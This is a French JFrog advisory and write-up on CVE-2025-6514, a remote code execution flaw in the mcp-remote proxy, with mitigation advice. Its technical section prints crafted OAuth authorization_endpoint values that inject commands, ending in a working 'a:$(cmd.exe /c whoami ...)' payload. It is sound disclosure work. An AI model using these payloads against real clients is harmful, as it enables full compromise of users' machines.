Clients mcp-remote expos\u00e9s \u00e0 l\u2019ex\u00e9cution de code \u00e0 distance_863x300<\/p>\n
L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a r\u00e9cemment d\u00e9couvert et signal\u00e9 la CVE-2025-6514, une vuln\u00e9rabilit\u00e9 de s\u00e9curit\u00e9 critique (CVSS 9.6) dans le projet mcp-remote, un outil populaire utilis\u00e9 par les clients du Model Context Protocol. Cette vuln\u00e9rabilit\u00e9 permet \u00e0 des pirates de d\u00e9clencher l\u2019ex\u00e9cution de commandes arbitraires du syst\u00e8me d\u2019exploitation sur la machine ex\u00e9cutant mcp-remote lorsque celui-ci \u00e9tablit une connexion avec un serveur MCP non fiable. Elle expose donc les utilisateurs \u00e0 un risque majeur\u00a0: une compromission totale du syst\u00e8me.<\/p>\n
mcp-remote est un proxy qui permet aux h\u00f4tes de grands mod\u00e8les de langage (LLM), tels que Claude Desktop, de communiquer avec des serveurs MCP distants, m\u00eame s\u2019ils ne prennent nativement en charge que les communications avec des serveurs MCP locaux.<\/p>\n
De pr\u00e9c\u00e9dentes recherches avaient d\u00e9j\u00e0 d\u00e9montr\u00e9 les risques li\u00e9s \u00e0 la connexion de clients MCP \u00e0 des serveurs MCP malveillants. Il s\u2019agit toutefois du premier cas o\u00f9 une ex\u00e9cution compl\u00e8te de code \u00e0 distance est obtenue dans un sc\u00e9nario r\u00e9el sur le syst\u00e8me d\u2019exploitation du client lors d\u2019une connexion \u00e0 un serveur MCP distant non fiable.<\/p>\n
Nous tenons \u00e0 remercier Glen Maddern (@geelen), principal mainteneur de mcp-remote, d\u2019avoir rapidement corrig\u00e9 cette vuln\u00e9rabilit\u00e9.
\nQui est affect\u00e9 par CVE-2025-6514\u00a0?
\nLa vuln\u00e9rabilit\u00e9 affecte les versions\u00a00.0.5 \u00e0 0.1.15 de mcp-remote. Elle est corrig\u00e9e depuis la version\u00a00.1.16.<\/p>\n
Toute personne utilisant une version affect\u00e9e de mcp-remote pour se connecter \u00e0 un serveur MCP non fiable ou non s\u00e9curis\u00e9 est vuln\u00e9rable \u00e0 cette attaque.<\/p>\n
Sous Windows, nous avons d\u00e9montr\u00e9 que cette vuln\u00e9rabilit\u00e9 permet l\u2019ex\u00e9cution de commandes arbitraires du syst\u00e8me d\u2019exploitation (notamment de commandes shell avec un contr\u00f4le total des param\u00e8tres).
\nSous macOS et Linux, la vuln\u00e9rabilit\u00e9 permet l\u2019ex\u00e9cution de fichiers ex\u00e9cutables arbitraires avec un contr\u00f4le limit\u00e9 des param\u00e8tres. Des recherches suppl\u00e9mentaires pourraient permettre d\u2019obtenir l\u2019ex\u00e9cution de commandes arbitraires du syst\u00e8me d\u2019exploitation sur ces plateformes.
\nSc\u00e9narios d\u2019attaque\u00a0:<\/p>\n
Sc\u00e9nario\u00a01\u00a0: un client MCP utilise mcp-remote pour se connecter \u00e0 un serveur MCP non fiable (d\u00e9tourn\u00e9 ou malveillant).<\/p>\n
Figure\u00a01 – ConnexionFigure\u00a01\u00a0: un client MCP utilise mcp-remote pour se connecter \u00e0 un serveur MCP non fiable.<\/p>\n
Sc\u00e9nario\u00a02\u00a0: un client MCP utilise mcp-remote pour se connecter \u00e0 un serveur MCP de fa\u00e7on non s\u00e9curis\u00e9e (le sch\u00e9ma de l\u2019URL du serveur \u00e9tant HTTP), tandis que des pirates pr\u00e9sents sur le r\u00e9seau local m\u00e8nent une attaque de l\u2019homme du milieu afin de d\u00e9tourner le trafic MCP. Ce sc\u00e9nario est probable au sein des r\u00e9seaux locaux, car les clients MCP sont plus susceptibles de faire confiance aux serveurs MCP du r\u00e9seau local et de s\u2019y connecter de mani\u00e8re non s\u00e9curis\u00e9e.<\/p>\n
Figure\u00a02 – Redirection par le pirateFigure\u00a02\u00a0: un client MCP utilise mcp-remote pour se connecter de mani\u00e8re non s\u00e9curis\u00e9e \u00e0 un serveur MCP, tandis que des pirates locaux redirigent ou contr\u00f4lent le trafic MCP.<\/p>\n
Comment att\u00e9nuer la CVE-2025-6514\u00a0?
\nEffectuer l’une des \u00e9tapes suivantes permettra d’att\u00e9nuer la vuln\u00e9rabilit\u00e9 CVE-2025-6514\u00a0:<\/p>\n
Mettez mcp-remote \u00e0 jour vers la version 0.1.16. Cette version comprend un correctif pour la vuln\u00e9rabilit\u00e9. Il s\u2019agit de la solution recommand\u00e9e.
\nConnectez-vous uniquement \u00e0 des serveurs MCP de confiance, en utilisant HTTPS (connexion s\u00e9curis\u00e9e).<\/p>\n
Transport MCP\u00a0: local ou distant
\nLe Model Context Protocol (MCP) est une norme ouverte apparue en novembre 2024, qui a imm\u00e9diatement suscit\u00e9 un vif int\u00e9r\u00eat et \u00e9t\u00e9 largement adopt\u00e9e. Il permet aux assistants d\u2019IA et aux h\u00f4tes de LLM de se connecter de mani\u00e8re s\u00e9curis\u00e9e \u00e0 des sources de donn\u00e9es, des outils et des services externes, et d\u2019interagir avec eux en temps r\u00e9el. Il permet \u00e0 ces syst\u00e8mes d\u2019IA d\u2019acc\u00e9der \u00e0 des informations actualis\u00e9es provenant de bases de donn\u00e9es, d\u2019API et d\u2019applications, tout en pr\u00e9servant la s\u00e9curit\u00e9 et le contr\u00f4le de l\u2019utilisateur sur les donn\u00e9es auxquelles les mod\u00e8les peuvent acc\u00e9der.
\nFigure\u00a03 – Application de LLMFigure 3\u00a0: une application de LLM utilise un serveur MCP local ex\u00e9cut\u00e9 sur la m\u00eame machine.
\n\u00c0 l\u2019origine, les serveurs MCP \u00e9taient d\u00e9ploy\u00e9s localement et ex\u00e9cut\u00e9s sur la m\u00eame machine que l\u2019application de LLM. Des serveurs MCP distants sont apparus depuis, permettant \u00e0 plusieurs applications de LLM de partager la m\u00eame instance de serveur MCP, tout en r\u00e9duisant la charge op\u00e9rationnelle li\u00e9e \u00e0 la maintenance et \u00e0 la mise \u00e0 jour des serveurs dans chaque installation.
\nFigure\u00a04 – Serveur MCP distantFigure\u00a04\u00a0: une application de LLM utilise un serveur MCP distant en communiquant localement avec mcp-remote, qui transmet les communications au serveur MCP distant via HTTP.
\nL\u2019outil mcp-remote a gagn\u00e9 en popularit\u00e9 au sein de la communaut\u00e9 de l\u2019IA lorsque les premi\u00e8res impl\u00e9mentations de serveurs MCP distants sont apparues, alors que la plupart des clients MCP ne permettaient encore que les connexions \u00e0 des serveurs locaux.<\/p>\n
Cet outil permet aux applications prenant uniquement en charge le transport MCP local via STDIO, telles que Claude Desktop, Cursor et Windsurf, de se connecter \u00e0 des serveurs MCP distants via un transport HTTP en faisant office de proxy.<\/p>\n
mcp-remote est largement utilis\u00e9, comme en t\u00e9moignent la documentation officielle de Cloudflare, la documentation d\u2019int\u00e9gration d\u2019Auth0, le blog de Hugging Face et diff\u00e9rents tutoriels consacr\u00e9s \u00e0 l\u2019adoption du MCP distant.<\/p>\n
Il convient de noter qu\u2019au cours des derni\u00e8res semaines, des h\u00f4tes de LLM tels que Cursor et Windsurf ont ajout\u00e9 la possibilit\u00e9 de se connecter directement \u00e0 des serveurs MCP distants. Anthropic a \u00e9galement ajout\u00e9 cette fonctionnalit\u00e9 pour les utilisateurs de Claude Desktop disposant d\u2019un abonnement payant.
\nR\u00e9sum\u00e9 de la CVE-2025-6514
\nLorsque les utilisateurs souhaitent configurer leur h\u00f4te LLM, comme Claude Desktop, pour qu\u2019il se connecte \u00e0 un serveur MCP distant, ils modifient le fichier de configuration de Claude pour ajouter une commande mcp-remote contenant uniquement l\u2019URL du serveur MCP distant.
\n{
\n“mcpServers”: {
\n“remote-mcp-server-example”: {
\n“command”: “npx”,
\n“args”: [
\n“mcp-remote”,
\n“http:\/\/remote.server.example.com\/mcp”
\n]
\n}
\n}
\n}
\nFigure\u00a05\u00a0: exemple de fichier de configuration JSON MCP configurant un serveur MCP distant au moyen de mcp-remote.
\nLorsque la configuration est enregistr\u00e9e ou que Claude Desktop est red\u00e9marr\u00e9, mcp-remote entame les communications initiales avec le serveur MCP. Le serveur peut lui demander de s\u2019authentifier. mcp-remote demande alors au serveur les m\u00e9tadonn\u00e9es de ses points de terminaison OAuth. Parmi les valeurs renvoy\u00e9es, le serveur transmet l\u2019URL de son authorization_endpoint (par exemple\u00a0: https:\/\/remote.server.example.com\/authorize). Cette URL doit \u00eatre ouverte dans un navigateur afin que l\u2019utilisateur puisse saisir ses identifiants.<\/p>\n
Pour d\u00e9clencher la vuln\u00e9rabilit\u00e9, un serveur MCP malveillant peut renvoyer une valeur d\u2019URL authorization_endpoint sp\u00e9cialement con\u00e7ue, comme le montre la figure ci-dessous\u00a0:
\nFigure\u00a06 – Initialisation de la connexion distanteFigure 6\u00a0: mcp-remote initialise la connexion avec un serveur MCP malveillant
\nmcp-remote tente d\u2019ouvrir cette URL sp\u00e9cialement con\u00e7ue dans un navigateur. En raison de la CVE-2025-6514, cette op\u00e9ration entra\u00eene une injection de commande, permettant au pirate d\u2019ex\u00e9cuter des commandes arbitraires du syst\u00e8me d\u2019exploitation.
\nMCP distant – Figure\u00a07
\nFigure\u00a07\u00a0: ex\u00e9cution de calc.exe \u00e0 la suite de notre exploitation de la vuln\u00e9rabilit\u00e9.<\/p>\n
D\u00e9tails techniques de la CVE-2025-6514
\nmcp-remote sert de proxy entre le transport MCP local (STDIO) et le transport distant (Streamable HTTP ou SSE, deux protocoles bas\u00e9s sur HTTP), tout en assurant des fonctions d\u2019authentification et d\u2019autorisation.<\/p>\n
Pour configurer un nouveau serveur MCP distant au moyen de mcp-remote, l\u2019utilisateur doit uniquement ajouter l\u2019URL du serveur au fichier de configuration JSON du client MCP, comme l\u2019illustre la figure\u00a05 ci-dessus.<\/p>\n
Lorsque l\u2019application du client MCP est rouverte, comme dans le cas de Claude Desktop, elle ex\u00e9cute la commande npx fournie, cr\u00e9e un processus Node et lance la fonction proxy.ts:runProxy de mcp-remote avec le param\u00e8tre serverUrl fourni dans le fichier de configuration ci-dessus.<\/p>\n
Cette fonction construit un objet NodeOAuthClientProvider, qui sera utilis\u00e9 si le serveur distant exige une autorisation.<\/p>\n
Un objet StreamableHTTPClientTransport est ensuite cr\u00e9\u00e9 et sa m\u00e9thode send est appel\u00e9e avec le param\u00e8tre serverUrl fourni. Dans le cas pr\u00e9sent, la requ\u00eate adress\u00e9e \u00e0\u00a0: \u00ab\u00a0http:\/\/remote.server.example.com\/mcp\u00a0\u00bb re\u00e7oit une r\u00e9ponse \u00ab\u00a0401 Unauthorized\u00a0\u00bb du serveur \u00ab\u00a0malveillant\u00a0\u00bb. Elle appelle alors la fonction auth.ts:auth afin de lancer la proc\u00e9dure d\u2019autorisation.
\nExaminons ce qui se passe dans la fonction auth, ici simplifi\u00e9e pour plus de clart\u00e9\u00a0:<\/p>\n
export async function auth(
\nprovider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
\nlet authorizationServerUrl = serverUrl;
\ntry {
\n\/* ### 1 ### *\/
\nconst resourceMetadata = await discoverOAuthProtectedResourceMetadata(
\nresourceMetadataUrl || serverUrl);
\n\/* … *\/
\n} catch (error) {console.warn(“Could not load OAut..”, error)}<\/p>\n
\/* ### 2 ### *\/
\nconst metadata = await discoverOAuthMetadata(authorizationServerUrl);<\/p>\n
\/\/ Handle client registration if needed
\nlet clientInformation = await Promise.resolve(provider.clientInformation());
\nif (!clientInformation) {
\n\/* … *\/
\n\/* ### 3 ### *\/
\nconst fullInformation = await registerClient(serverUrl, {
\nmetadata,
\nclientMetadata: provider.clientMetadata });
\n\/* … *\/
\n}<\/p>\n
\/* … *\/<\/p>\n
\/\/ Start new authorization flow
\n\/* ### 4 ### *\/
\nconst { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
\nmetadata,
\nclientInformation,
\nredirectUrl: provider.redirectUrl,
\nscope: scope || provider.clientMetadata.scope,
\n});<\/p>\n
await provider.saveCodeVerifier(codeVerifier);
\n\/* ### 5 ### *\/
\nawait provider.redirectToAuthorization(authorizationUrl);
\nreturn “REDIRECT”;
\n}<\/p>\n
Figure\u00a08\u00a0: extrait simplifi\u00e9 de la fonction auth du fichier auth.ts (SDK TypeScript officiel du MCP).
\nCette fonction sert \u00e0 lancer le flux d\u2019autorisation OAuth. Suivons les commentaires num\u00e9rot\u00e9s ### int\u00e9gr\u00e9s au code\u00a0:<\/p>\n
Nous contournons la logique de discoverOAuthProtectedResourceMetadata en renvoyant une r\u00e9ponse 401 Unauthorized lorsque cette fonction envoie une requ\u00eate fetch \u00e0 notre serveur (http:\/\/remote.server.example.com\/.well-known\/oauth-protected-resource).
\nEnsuite, discoverOAuthMetadata est appel\u00e9e, r\u00e9cup\u00e9rant les m\u00e9tadonn\u00e9es OAuth \u00e0 partir du point de terminaison \/.well-known\/oauth-authorization-server de notre serveur, qui renvoie un objet JSON r\u00e9pertoriant les points de terminaison OAuth et les param\u00e8tres de configuration. Le champ authorization_endpoint est inclus dans cette r\u00e9ponse. Sa valeur contient g\u00e9n\u00e9ralement une URL HTTP standard utilis\u00e9e pour authentifier les utilisateurs, mais pour d\u00e9clencher l\u2019ex\u00e9cution d\u2019une commande, le serveur malveillant renvoie une valeur sp\u00e9cialement con\u00e7ue\u00a0:<\/p>\n
{“authorization_endpoint”: “file:\/c:\/windows\/system32\/calc.exe”,
\n“registration_endpoint”: “https:\/\/remote.server.example.com\/register”,
\n\/* \u2026 *\/
\n“code_challenge_methods_supported”: [“S256”]}<\/p>\n
Le processus passe ensuite \u00e0 l\u2019enregistrement dynamique du client et acc\u00e8de \u00e0 notre point de terminaison \/register. Nous lui fournissons une r\u00e9ponse valide afin que le flux se poursuive.
\nLa fonction startAuthorization (pr\u00e9sent\u00e9e ci-dessous) est appel\u00e9e. Elle utilise la cha\u00eene metadata.authorization_endpoint fournie \u00e0 l\u2019\u00e9tape\u00a02 pour construire un nouvel objet URL(). Elle lui ajoute ensuite des param\u00e8tres de cha\u00eene de requ\u00eate et renvoie le r\u00e9sultat\u00a0:<\/p>\n
export async function startAuthorization(
\nserverUrl, {metadata, clientInformation, redirectUrl, scope } {
\nif (metadata) {
\nauthorizationUrl = new URL(metadata.authorization_endpoint); \/\/javascript:$(calc.exe)
\n\/* … checks some metadata params that pass … *\/
\n}
\n\/* … *\/
\n\/* adding searchParams (query-string) to the authorizationUrl *\/
\nauthorizationUrl.searchParams.set(“response_type”, responseType);
\n\/* … *\/
\nreturn { authorizationUrl, codeVerifier };
\n}<\/p>\n
Figure 9 : Extrait simplifi\u00e9 de la fonction startAuthorization de auth.ts (SDK TypeScript MCP officiel)<\/p>\n
La m\u00e9thode provider.redirectToAuthorization(authorizationUrl) appelle ensuite la m\u00e9thode redirectToAuthorization de notre objet NodeOAuthClientProvider, qui se trouve dans le fichier node-oauth-client-provider.ts\u00a0:<\/p>\n
async redirectToAuthorization(authorizationUrl: URL): Promise {
\nlog(`\\nPlease authorize this client by visiting:\\n${authorizationUrl.toString()}\\n`)
\ntry {
\nawait open(authorizationUrl.toString()) \/* ### 6 ### *\/
\nlog(‘Browser opened automatically.’)<\/p>\n
} catch (error) {
\n\/* … *
\n}
\n}<\/p>\n
Figure 10\u00a0: extrait simplifi\u00e9 de la fonction redirectToAuthorization du fichier node-oauth-client-provider.ts.<\/p>\n
La fonction open() est import\u00e9e depuis le package npm \u2018open\u2019.\u00a0\u00a0open(param) effectue les op\u00e9rations suivantes sur les machines Windows*\u00a0:<\/p>\n
Elle d\u00e9termine le chemin de powershell.exe.
\nElle pr\u00e9pare une commande PowerShell encod\u00e9e qui ex\u00e9cutera l\u2019argument param.
\nElle l\u2019ex\u00e9cute dans un nouveau sous-processus avec la ligne de commande suivante\u00a0:<\/p>\n
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ‘UwB0AGEAcgB0ACAAIgBqAGEAdgB\u2026.=’<\/p>\n
PowerShell d\u00e9code la commande et l\u2019ex\u00e9cute. Dans notre cas \u2014 il ex\u00e9cutera calc.exe\u00a0:<\/p>\n
Start “file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..”<\/p>\n
* Le package ‘open’ utilise des chemins de code diff\u00e9rents sous macOS et Linux, en ex\u00e9cutant respectivement \u00ab\u00a0open URL\u00a0\u00bb ou \u00ab\u00a0xdg-open URL\u00a0\u00bb. Ces impl\u00e9mentations peuvent \u00e9galement \u00eatre exploit\u00e9es afin d\u2019ex\u00e9cuter des fichiers arbitraires au moyen d\u2019URL file:\/\/. La surface d\u2019attaque est toutefois plus limit\u00e9e, car aucun shell n\u2019est invoqu\u00e9, ce qui restreint la capacit\u00e9 \u00e0 contr\u00f4ler les arguments du fichier ex\u00e9cutable.<\/p>\n
Du contr\u00f4le limit\u00e9 \u00e0 l\u2019ex\u00e9cution compl\u00e8te de commandes
\nLe mot-cl\u00e9 Start, qui fait r\u00e9f\u00e9rence \u00e0 la cmdlet PowerShell Start-Process, peut ex\u00e9cuter un fichier ex\u00e9cutable ou le transmettre au shell Windows afin qu\u2019il soit trait\u00e9 selon les associations d\u2019extensions de fichiers ou les gestionnaires de protocoles (sch\u00e9mas d\u2019URI).<\/p>\n
Comme la cha\u00eene authorization_endpoint sert \u00e0 construire un nouvel objet URL(), elle doit respecter un format d\u2019URL valide et commencer par un sch\u00e9ma d\u2019URI.<\/p>\n
Lorsque la valeur \u00ab\u00a0file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..\u00a0\u00bb est fournie, le fichier: URI scheme est utilis\u00e9 pour ex\u00e9cuter le fichier calc.exe.
\nFigure 11 \u2013 Ex\u00e9cution \u00e0 distanceFigure\u00a011\u00a0: mcp-remote ex\u00e9cute le processus calc.exe alors qu\u2019il tente d\u2019ouvrir un navigateur pour l\u2019autorisation.
\nNous pouvons d\u00e9sormais ex\u00e9cuter n\u2019importe quel fichier, mais sans lui transmettre d\u2019arguments, ce qui n\u2019est pas encore suffisamment utile.<\/p>\n
Nous pouvons tenter d\u2019ex\u00e9cuter un fichier distant \u00e0 l\u2019aide d\u2019URL telles que \u00ab\u00a0file:\/\/IP_ADDR\/Share\/test.bat?response_type=code\u2026..\u00a0\u00bb. Cette URL pointe vers un chemin UNC permettant d\u2019acc\u00e9der \u00e0 des ressources r\u00e9seau (notez la pr\u00e9sence des deux barres obliques inverses).<\/p>\n
Cette m\u00e9thode fonctionne, mais Windows affiche un avertissement de s\u00e9curit\u00e9 concernant l\u2019ex\u00e9cution d\u2019un fichier distant\u00a0:
\nMCP distant – Figure\u00a012\u00a0: avertissement de s\u00e9curit\u00e9 affich\u00e9 lors d\u2019une tentative d\u2019ex\u00e9cution d\u2019un chemin UNC.MPC distant – Figure\u00a013
\nEssayons une autre strat\u00e9gie. Puisque la commande s\u2019ex\u00e9cute dans PowerShell, nous pouvons exploiter la fonctionnalit\u00e9 d\u2019\u00e9valuation des sous-expressions afin d\u2019injecter nos propres commandes\u00a0: \u00ab\u00a0http:\/\/www.example$(calc.exe).com\/?response_type=code\u2026..\u00a0\u00bb. Cette cha\u00eene ex\u00e9cute calc.exe gr\u00e2ce \u00e0 l\u2019op\u00e9rateur de sous-expression $(), qui \u00e9value (ex\u00e9cute) l\u2019expression transmise en param\u00e8tre.<\/p>\n
Si nous pouvions fournir une espace, cette technique nous permettrait d\u2019injecter des param\u00e8tres arbitraires dans la commande. Cependant, comme notre cha\u00eene est trait\u00e9e par URL() et qu\u2019une espace n\u2019est pas un caract\u00e8re valide dans une URL, l\u2019appel \u00e0 new URL() \u00e9choue si l\u2019espace se trouve dans le domaine. Dans les autres parties de l\u2019URL, l\u2019espace est encod\u00e9e sous la forme %20. Par exemple, l\u2019entr\u00e9e \u00ab\u00a0http:\/\/www.example.com\/$(cmd.exe \/c echo test)\u00a0\u00bb est transform\u00e9e en \u00ab\u00a0http:\/\/www.example.com\/$(cmd.exe%20\/c%20echo%20test)\/?response_type=code\u2026..\u00a0\u00bb. Il en va de m\u00eame pour les tentatives utilisant le sch\u00e9ma \u00ab\u00a0file:\u00a0\u00bb.<\/p>\n
Nous avons finalement remarqu\u00e9 qu\u2019un sch\u00e9ma inexistant ne contenant pas de barre oblique inverse n\u2019\u00e9tait pas encod\u00e9 dans l\u2019URL. Nous pouvons donc fournir \u00ab\u00a0a:$(cmd.exe \/c whoami > c:\\temp\\pwned.txt)?response_type=code\u2026..\u00a0\u00bb et obtenir l\u2019ex\u00e9cution compl\u00e8te de commandes.<\/p>\n
Figure 13 : Un nouveau fichier pwned.txt cr\u00e9\u00e9 dans C:\\temp \u00e0 la suite de notre commande cmd.exe \/c \u2014 ce qui prouve que l’ex\u00e9cution du code a r\u00e9ussi.<\/p>\n
R\u00e9sum\u00e9
\nAvec la d\u00e9couverte de la CVE-2025-6514, nous avons d\u00e9montr\u00e9 qu\u2019une ex\u00e9cution de code \u00e0 distance \u00e9tait possible lors d\u2019une connexion \u00e0 des serveurs MCP non fiables. Comme indiqu\u00e9 pr\u00e9c\u00e9demment, des h\u00f4tes de LLM tels que Cursor, Windsurf et Claude proposent d\u00e9sormais des fonctionnalit\u00e9s similaires permettant de se connecter \u00e0 des serveurs MCP distants. Les utilisateurs du MCP doivent imp\u00e9rativement veiller \u00e0 ne se connecter qu\u2019\u00e0 des serveurs MCP de confiance au moyen de m\u00e9thodes de connexion s\u00e9curis\u00e9es (HTTPS), car des vuln\u00e9rabilit\u00e9s similaires \u00e0 la CVE-2025-6514 pourraient \u00eatre d\u00e9couvertes dans l\u2019\u00e9cosyst\u00e8me MCP en constante expansion.<\/p>\n
Pour rester inform\u00e9 des autres attaques et vuln\u00e9rabilit\u00e9s zero-day, consultez r\u00e9guli\u00e8rement le centre de recherche en s\u00e9curit\u00e9 de JFrog afin de d\u00e9couvrir les derni\u00e8res informations concernant les CVE, les vuln\u00e9rabilit\u00e9s et les correctifs.<\/p>\n","protected":false},"excerpt":{"rendered":"
Clients mcp-remote expos\u00e9s \u00e0 l\u2019ex\u00e9cution de code \u00e0 distance_863x300 L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a r\u00e9cemment d\u00e9couvert et signal\u00e9 la CVE-2025-6514, une vuln\u00e9rabilit\u00e9 de s\u00e9curit\u00e9 critique (CVSS 9.6) dans le projet mcp-remote, un outil populaire utilis\u00e9 par les clients du Model Context Protocol. Cette vuln\u00e9rabilit\u00e9 permet \u00e0 des pirates de d\u00e9clencher l\u2019ex\u00e9cution de …<\/p>\n","protected":false},"author":590,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10153],"tags":[11399,11360,11362,11286,9999],"class_list":["post-174283","post","type-post","status-publish","format-standard","hentry","category-securite-et-devsecops","tag-rce","tag-mcp","tag-cve","tag-vulnerabilites","tag-securite-recherche"],"yoast_head":"\n